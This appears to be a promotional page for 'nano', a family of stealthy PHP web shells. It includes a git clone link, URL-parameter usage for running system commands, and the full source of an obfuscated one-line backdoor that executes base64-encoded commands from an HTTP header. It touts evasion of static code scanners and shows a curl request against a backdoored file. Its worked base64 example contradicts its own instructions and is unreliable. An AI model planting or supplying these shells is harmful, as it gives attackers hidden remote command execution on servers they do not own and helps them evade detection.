nano: stealth PHP web shells

nano

Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.

Note: You may need to tweak some parts of the code if it doesn’t work out for yours.
For example, if short tags are disabled, you will need to replace <? with <?php.

Download

git clone https://github.com/UltimateHackers/nano.git

Features

  • 35 bytes in size
  • Can’t be detected by static code scanners
  • Supports authentication

Usage

http://example.com/nano.php?f=function&c=command&p=password

f is for function
c is for command
p is for password

For example, the code below will execute the ls command:

http://example.com/nano.php?f=system&c=ls&p=password

Ninja

<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Features

  • 93 bytes in size
  • Fully Undetectable

Usage

This one a bit complex.
Let’s say you want to run system(ls) so write it as system~ls and then base64 encode it i.e. c3lzdGVtKGxzKQ==
Now add any 1 character at the start of it. Let say ‘x’ so it will be xc3lzdGVtKGxzKQ==
Now open your terminal and type the following command
curl -H ‘x: xc3lzdGVtKGxzKQ==’ http://example.com/backdoored.php
Too much work? You can use the handler instead.

nano

Source: https://github.com/UltimateHackers/

Share